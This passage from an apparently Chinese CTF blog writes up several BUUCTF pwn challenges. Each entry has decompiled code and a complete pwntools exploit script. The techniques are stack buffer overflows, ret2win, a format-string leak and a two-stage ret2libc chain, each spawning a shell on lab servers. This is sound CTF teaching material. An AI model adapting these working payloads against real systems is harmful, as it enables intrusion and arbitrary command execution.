&lt;p&gt;这个 &lt;code&gt;replace&lt;/code&gt; 函数怎么说呢……反正我是没自己读反编译的代码，没学过 &lt;code&gt;C++&lt;/code&gt;，看着头好大……我做这题的时候刚开始是看见 &lt;code&gt;vuln&lt;/code&gt; 中有涉及 &lt;code&gt;replace&lt;/code&gt; 的字眼，就觉得可能会对字符串做一些替换修改的操作吧。接着看到代码中出现的 &lt;code&gt;you&lt;/code&gt;，&lt;code&gt;I&lt;/code&gt; 这样的字符串常量，直接运行程序拿这些内容去试试，发现输入 &lt;code&gt;I&lt;/code&gt; 会被替换成 &lt;code&gt;you&lt;/code&gt;，那 &lt;code&gt;replace&lt;/code&gt; 的作用不用看也猜得差不多了。最后，闲的没事，我让 GPT 分析了一下 &lt;code&gt;replace&lt;/code&gt; 的功能，和猜的也差不多。太菜了呜呜呜……&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3)
{
  int v4; // [esp+Ch] [ebp-4Ch]
  _BYTE v5[4]; // [esp+10h] [ebp-48h] BYREF
  _BYTE v6[7]; // [esp+14h] [ebp-44h] BYREF
  char v7; // [esp+1Bh] [ebp-3Dh] BYREF
  int v8; // [esp+1Ch] [ebp-3Ch]
  _BYTE v9[4]; // [esp+20h] [ebp-38h] BYREF
  int v10; // [esp+24h] [ebp-34h] BYREF
  int v11; // [esp+28h] [ebp-30h] BYREF
  char v12; // [esp+2Fh] [ebp-29h] BYREF
  _DWORD v13[2]; // [esp+30h] [ebp-28h] BYREF
  _BYTE v14[4]; // [esp+38h] [ebp-20h] BYREF
  int v15; // [esp+3Ch] [ebp-1Ch]
  _BYTE v16[4]; // [esp+40h] [ebp-18h] BYREF
  int v17; // [esp+44h] [ebp-14h] BYREF
  _BYTE v18[4]; // [esp+48h] [ebp-10h] BYREF
  _BYTE v19[8]; // [esp+4Ch] [ebp-Ch] BYREF

  while ( std::string::find(a2, a3, 0) != -1 )
  {
    std::allocator&amp;lt;char&amp;gt;::allocator(&amp;amp;v7);
    v8 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)v9);
    __gnu_cxx::__normal_iterator&amp;lt;char *,std::string&amp;gt;::operator+(&amp;amp;v10);
    std::string::begin((std::string *)&amp;amp;v11);
    std::string::string&amp;lt;__gnu_cxx::__normal_iterator&amp;lt;char *,std::string&amp;gt;&amp;gt;(v6, v11, v10, &amp;amp;v7);
    std::allocator&amp;lt;char&amp;gt;::~allocator(&amp;amp;v7);
    std::allocator&amp;lt;char&amp;gt;::allocator(&amp;amp;v12);
    std::string::end((std::string *)v13);
    v13[1] = std::string::length(a3);
    v15 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)v16);
    __gnu_cxx::__normal_iterator&amp;lt;char *,std::string&amp;gt;::operator+(v14);
    __gnu_cxx::__normal_iterator&amp;lt;char *,std::string&amp;gt;::operator+(&amp;amp;v17);
    std::string::string&amp;lt;__gnu_cxx::__normal_iterator&amp;lt;char *,std::string&amp;gt;&amp;gt;(v5, v17, v13[0], &amp;amp;v12);
    std::allocator&amp;lt;char&amp;gt;::~allocator(&amp;amp;v12);
    std::operator+&amp;lt;char&amp;gt;((std::string *)v19);
    std::operator+&amp;lt;char&amp;gt;((std::string *)v18);
    std::string::operator=(a2, v18, v5, v4);
    std::string::~string(v18);
    std::string::~string(v19);
    std::string::~string(v5);
    std::string::~string(v6);
  }
  std::string::string(a1, a2);
  return a1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import args, context, flat, gdb, process, remote

gdbscript = &quot;&quot;&quot;
b *vuln+42
c
&quot;&quot;&quot;

FILE = &quot;./pwn1_sctf_2016&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 28688

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    elf = context.binary

    payload = flat(b&quot;I&quot; * 21 + b&quot;A&quot;, elf.symbols[&quot;get_flag&quot;])

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;jarvisoj_level0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;闹着玩呢？不写了，和第一题差不多。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import ROP, args, context, flat, gdb, process, remote

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

FILE = &quot;./level0&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 27572

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    elf = context.binary
    rop = ROP(elf)

    payload = flat(b&quot;A&quot; * 0x88, rop.ret.address, elf.symbols[&quot;callsystem&quot;])

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;[第五空间 2019 决赛] PWN5&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int a1)
{
  time_t v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &amp;amp;a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open(&quot;/dev/urandom&quot;, 0);
  read(fd, &amp;amp;dword_804C044, 4u);
  printf(&quot;your name:&quot;);
  read(0, buf, 0x63u);
  printf(&quot;Hello,&quot;);
  printf(buf);
  printf(&quot;your passwd:&quot;);
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts(&quot;ok!!&quot;);
    system(&quot;/bin/sh&quot;);
  }
  else
  {
    puts(&quot;fail&quot;);
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;核心逻辑是判断 &lt;code&gt;atoi(nptr) == dword_804C044&lt;/code&gt;，因此只要我们需要知道 &lt;code&gt;dword_804C044&lt;/code&gt; 的值，就可以拿到 &lt;code&gt;shell&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这题完全就是考了个格式化字符串漏洞，&lt;code&gt;read(fd, &amp;amp;dword_804C044, 4u);&lt;/code&gt; 将随机数读取到 &lt;code&gt;bss&lt;/code&gt; 段，所以我们只要想办法泄漏 &lt;code&gt;bss&lt;/code&gt; 中保存的 &lt;code&gt;dword_804C044&lt;/code&gt; 的值就好了。&lt;code&gt;dword_804C044&lt;/code&gt; 的地址可以通过 &lt;code&gt;bss&lt;/code&gt; 段基地址加上 debug 出来的数据偏移计算得到。把泄漏的地址和格式化字符串一起作为输入发送，用 &lt;code&gt;%s&lt;/code&gt; 来输出栈上保存的地址所指向的值。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import args, context, flat, gdb, process, remote, u32

gdbscript = &quot;&quot;&quot;
b *0x80492bc
b *0x80492f0
c
&quot;&quot;&quot;

FILE = &quot;./pwn&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 26163

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def rev_atoi(data):
    return str(u32(data)).encode()


def construct_payload():
    elf = context.binary

    payload = flat(b&quot;aa%12$s\x00&quot;, elf.bss() + 0x4)

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendlineafter(b&quot;your name:&quot;, payload)
    target.recvuntil(b&quot;aa&quot;)

    passwd = rev_atoi(target.recv(0x4))

    target.sendlineafter(b&quot;your passwd:&quot;, passwd)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;jarvisoj_level2&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ssize_t vulnerable_function()
{
  _BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF

  system(&quot;echo Input:&quot;);
  return read(0, buf, 256u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;观察上面程序，&lt;code&gt;read&lt;/code&gt; 可以溢出破坏返回地址。由于这是 32-bit 程序，函数参数通过栈来传递，所以我们可以覆盖返回地址为 &lt;code&gt;system@plt&lt;/code&gt;，然后在栈上写传给 &lt;code&gt;system&lt;/code&gt; 的参数。&lt;/p&gt;
&lt;p&gt;我们希望拿 &lt;code&gt;shell&lt;/code&gt;，直接 IDA &lt;code&gt;Shift + F12&lt;/code&gt; 看程序包含的字符串，发现有 &lt;code&gt;.data:0804A024 hint db &apos;/bin/sh&apos;,0&lt;/code&gt;，那么参数问题就解决了，因为没开 PIE，直接就是固定地址。&lt;/p&gt;
&lt;p&gt;需要注意的是，如果你返回到 &lt;code&gt;call system@plt&lt;/code&gt; 这样的内部指令，由于 &lt;code&gt;call&lt;/code&gt; 指令会自动将下一条指令的地址压入栈中，作为函数调用结束后的返回地址，所以你可以直接在它之后写要传入的参数；而如果选择返回到 &lt;code&gt;system@plt&lt;/code&gt;，那就需要手动提供一个地址作为函数调用结束后的返回地址，之后才是跟着函数的参数。&lt;/p&gt;
&lt;p&gt;即，&lt;code&gt;call&lt;/code&gt; 指令可以分解为 &lt;code&gt;push eip_next; jmp &amp;lt;entry&amp;gt;&lt;/code&gt;，而返回到 &lt;code&gt;system@plt&lt;/code&gt; 相当于直接 &lt;code&gt;jmp system@plt&lt;/code&gt;，没有设置返回地址。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import args, context, flat, gdb, process, remote

gdbscript = &quot;&quot;&quot;
set follow-fork-mode parent
b *vulnerable_function+42
b *vulnerable_function+52
c
&quot;&quot;&quot;

FILE = &quot;./level2&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 25976

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    elf = context.binary

    payload = flat(
        b&quot;A&quot; * 0x8C,
        elf.plt[&quot;system&quot;],
        0x0,  # return address placeholder
        next(elf.search(b&quot;/bin/sh&quot;)),
    )

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ciscn_2019_n_8&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts(&quot;What&apos;s your name?&quot;);
  __isoc99_scanf(&quot;%s&quot;, var, v4, v5);
  if ( *(_QWORD *)&amp;amp;var[13] )
  {
    if ( *(_QWORD *)&amp;amp;var[13] == 17LL )
      system(&quot;/bin/sh&quot;);
    else
      printf(
        &quot;something wrong! val is %d&quot;,
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf(&quot;%s, Welcome!\n&quot;, var);
    puts(&quot;Try do something~&quot;);
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;__isoc99_scanf((int)&quot;%s&quot;, (int)var, v4, v5);&lt;/code&gt; 存在栈溢出漏洞，因为没有限制 &lt;code&gt;%s&lt;/code&gt; 可以读取的字符数。这里 IDA 反编译出来多了两个无关的参数 &lt;code&gt;v4&lt;/code&gt; 和 &lt;code&gt;v5&lt;/code&gt;，直接忽视就好了。后面两个条件判断，第一个 &lt;code&gt;*(_QWORD *)&amp;amp;var[13]&lt;/code&gt; 是将 &lt;code&gt;&amp;amp;var[13]&lt;/code&gt; 处的八字节，解释成一个整数，看它的值是否为 &lt;code&gt;0&lt;/code&gt;，不为零则进入下一个判断；&lt;code&gt;*(_QWORD *)&amp;amp;var[13] == 0x11LL&lt;/code&gt;，看 &lt;code&gt;&amp;amp;var[13]&lt;/code&gt; 这个地址处的八字节整数是否为 &lt;code&gt;0x11&lt;/code&gt;，成立则 &lt;code&gt;getshell&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import args, context, flat, gdb, p64, process, remote

gdbscript = &quot;&quot;&quot;
b *main+100
b *main+105
c
&quot;&quot;&quot;

FILE = &quot;./ciscn_2019_n_8&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 29741

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    payload = flat(b&quot;A&quot; * 52, p64(0x11))

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;bjdctf_2020_babystack&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts(&quot;**********************************&quot;);
  puts(&quot;*     Welcome to the BJDCTF!     *&quot;);
  puts(&quot;* And Welcome to the bin world!  *&quot;);
  puts(&quot;*  Let&apos;s try to pwn the world!   *&quot;);
  puts(&quot;* Please told me u answer loudly!*&quot;);
  puts(&quot;[+]Are u ready?&quot;);
  puts(&quot;[+]Please input the length of your name:&quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;nbytes);
  puts(&quot;[+]What&apos;s u name?&quot;);
  read(0, buf, (unsigned int)nbytes);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;read&lt;/code&gt; 读取多少字符是通过 &lt;code&gt;__isoc99_scanf&lt;/code&gt; 控制的。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import ROP, args, context, flat, gdb, process, remote

gdbscript = &quot;&quot;&quot;
b *main+197
b *main+208
c
&quot;&quot;&quot;

FILE = &quot;./bjdctf_2020_babystack&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 29741

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    elf = context.binary
    rop = ROP(elf)

    payload = flat(b&quot;A&quot; * 0x18, rop.ret.address, elf.symbols[&quot;backdoor&quot;])

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendlineafter(b&quot;your name:&quot;, b&quot;1337&quot;)
    target.sendlineafter(b&quot;What&apos;s u name?&quot;, payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ciscn_2019_c_1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;程序的 &lt;code&gt;main&lt;/code&gt; 函数里没什么有用的信息，重点看下面的 &lt;code&gt;encrypt&lt;/code&gt; 函数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts(&quot;Input your Plaintext to be encrypted&quot;);
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 &amp;gt;= strlen(s) )
      break;
    if ( s[x] &amp;lt;= 96 || s[x] &amp;gt; 122 )
    {
      if ( s[x] &amp;lt;= 64 || s[x] &amp;gt; 90 )
      {
        if ( s[x] &amp;gt; 47 &amp;amp;&amp;amp; s[x] &amp;lt;= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts(&quot;Ciphertext&quot;);
  return puts(s);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;基本就是把输入字符串经过一些 &lt;code&gt;xor&lt;/code&gt; 运算，得到密文。注意到获取输入使用的是 &lt;code&gt;gets&lt;/code&gt;，所以我们可以覆盖返回地址。程序没有包含任何后门函数，所以我们可以打 shellcode 或者 ROP，但是程序开了 NX，而且 ropper 也没有给出什么 syscall 之类的构造 ROP 链的 gadgets，那就打 ret2plt 泄漏 libc 地址，再打 ret2libc getshell.&lt;/p&gt;
&lt;p&gt;不过我们的 payload 经过 &lt;code&gt;encrypt&lt;/code&gt; 的加密会被破坏，所以一个想法是想办法让我们的输入经过 &lt;code&gt;encrypt&lt;/code&gt; 的加密出来得到的是 payload 本身，另一种想法是想办法绕过加密逻辑。前者比较麻烦，我们优先思考后者。发现执行加密逻辑前有个判断，如果满足 &lt;code&gt;if ( v0 &amp;gt;= strlen(s) )&lt;/code&gt; 就不会执行加密逻辑。字符串长度是通过 &lt;code&gt;strlen&lt;/code&gt; 获取的，这个函数判断字符串结束的方法是检测 &lt;code&gt;\x00&lt;/code&gt; 字符，所以如果我们把 &lt;code&gt;\x00&lt;/code&gt; 放在 payload 开头，这个判断就会认为我们的字符串长度为 0，不去执行下面的加密逻辑，成功绕过。&lt;/p&gt;
&lt;p&gt;因为 &lt;code&gt;encrypt&lt;/code&gt; 是返回到 &lt;code&gt;puts(s)&lt;/code&gt;，由于在此之前我们已经执行过 &lt;code&gt;puts&lt;/code&gt; 了，所以 got 表中一定有它在 libc 中的真实地址。所以我们可以通过 &lt;code&gt;puts&lt;/code&gt; 泄漏 &lt;code&gt;puts@got&lt;/code&gt; 中保存的真实地址，然后算出 libc 基地址，再用 libc 中的 &lt;code&gt;system&lt;/code&gt; 和 &lt;code&gt;/bin/sh&lt;/code&gt; 字符串构造 getshell 的 ROP 链。&lt;/p&gt;
&lt;p&gt;由于我们返回到 &lt;code&gt;puts&lt;/code&gt; 泄漏完地址后程序就结束了，所以我们在第一阶段泄漏出地址后需要让程序返回到 &lt;code&gt;main&lt;/code&gt;，重新运行主菜单逻辑（只要程序没有 exit，就不会改变 libc 基址），之后再把第二阶段的 ROP 链发出去。&lt;/p&gt;
&lt;p&gt;由于题目没给 libc，所以远程需要用 &lt;code&gt;LibcSearcher&lt;/code&gt; 来打。本地打的时候直接用系统的 libc，等本地通了再改成 &lt;code&gt;LibcSearcher&lt;/code&gt; 去打远端，直接用 &lt;code&gt;LibcSearcher&lt;/code&gt; 打不通本地，可能因为 libc-database 更新不及时，没有我们本地的 libc 版本。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

from pwn import ROP, args, context, flat, gdb, log, process, remote, u64

from LibcSearcher.LibcSearcher import LibcSearcher

gdbscript = &quot;&quot;&quot;
# b *encrypt+61
# b *encrypt+322
# b *encrypt+334
c
&quot;&quot;&quot;

FILE = &quot;./ciscn_2019_c_1&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 28304

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload(stage, libc, libc_base):
    rop = ROP(elf)

    if stage == 1:
        return flat(
            b&quot;\x00&quot;,
            b&quot;A&quot; * 0x57,
            rop.rdi.address,
            elf.got[&quot;puts&quot;],
            elf.plt[&quot;puts&quot;],
            elf.symbols[&quot;main&quot;],
        )
    elif stage == 2:
        return flat(
            b&quot;\x00&quot;,
            b&quot;A&quot; * 0x57,
            rop.rdi.address,
            libc_base + libc.dump(&quot;str_bin_sh&quot;),
            rop.ret.address,
            libc_base + libc.dump(&quot;system&quot;),
            0x0,
        )
    else:
        log.error(b&quot;Failed constructing payload!&quot;)


def main():
    target = launch()

    payload = construct_payload(1, None, None)

    target.sendlineafter(b&quot;Input your choice!&quot;, b&quot;1&quot;)
    target.sendline(payload)
    target.recvuntil(b&quot;Ciphertext&quot;)

    leaked_puts = u64(target.recv(0x8).strip().ljust(8, b&quot;\x00&quot;))
    libc = LibcSearcher(&quot;puts&quot;, leaked_puts)
    libc_base = leaked_puts - libc.dump(&quot;puts&quot;)

    log.success(f&quot;libc base: {hex(libc_base)}&quot;)

    payload = construct_payload(2, libc, libc_base)

    target.sendlineafter(b&quot;Input your choice!&quot;, b&quot;1&quot;)
    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;jarvisoj_level2_x64&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;vulnerable_function&lt;/code&gt; 有一个 BOF，我们用它覆盖 retaddr 构造 ROP Chain，由于会返回到 &lt;code&gt;system(&quot;echo &apos;Hello World!&apos;&quot;)&lt;/code&gt;，我们只要想办法改掉 rdi 即可。这里没有发现获得栈地址的方法，把 &lt;code&gt;/bin/sh&lt;/code&gt; 写入栈上不行。但是 IDA 搜索字符串发现程序本身包含 &lt;code&gt;/bin/sh&lt;/code&gt; 字符串，没 PIE，直接拿来用。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import ROP, args, context, flat, p64, process, raw_input, remote

FILE = &quot;./level2_x64&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 27792

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    rop = ROP(elf)
    payload = flat(
        b&quot;A&quot; * 0x88,
        p64(rop.rdi.address),
        0x600A90,
        p64(rop.ret.address),
        elf.plt[&quot;system&quot;],
    )

    raw_input()
    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;get_started_3dsctf_2016&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;main 中 &lt;code&gt;gets&lt;/code&gt; BOF，覆盖返回地址为 &lt;code&gt;get_flag&lt;/code&gt; 即可。但是这个函数会检测传入的两个参数，我们需要把参数设置好。&lt;/p&gt;
&lt;p&gt;本地打通了，打远程的时候遇到 &lt;code&gt;timeout: the monitored command dumped core&lt;/code&gt;，有几种说法是：栈没对齐；程序没正常退出。这里我们给 &lt;code&gt;get_flag&lt;/code&gt; 设置返回到 &lt;code&gt;exit&lt;/code&gt; 就行。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import args, context, flat, p32, process, raw_input, remote

FILE = &quot;./get_started_3dsctf_2016&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 25782

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    payload = flat(
        b&quot;A&quot; * 0x38,
        elf.sym[&quot;get_flag&quot;],
        p32(0x0804E6A0),
        p32(814536271),
        p32(425138641),
    )

    # raw_input()
    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;[HarekazeCTF2019]baby_rop&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和前面 &lt;code&gt;jarvisoj_level2_x64&lt;/code&gt; 差不多。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import ROP, args, context, flat, process, raw_input, remote

FILE = &quot;./babyrop&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 28698

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    rop = ROP(elf)
    payload = flat(
        b&quot;A&quot; * 0x18,
        rop.rdi.address,
        next(elf.search(b&quot;/bin/sh&quot;)),
        rop.ret.address,
        elf.plt[&quot;system&quot;],
    )

    # raw_input()
    target.sendline(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;others_shellcode&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;怕不是签到题？&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import args, context, process, remote

FILE = &quot;./shell_asm&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 28960

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    # raw_input()
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;[OGeek2019]babyrop&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
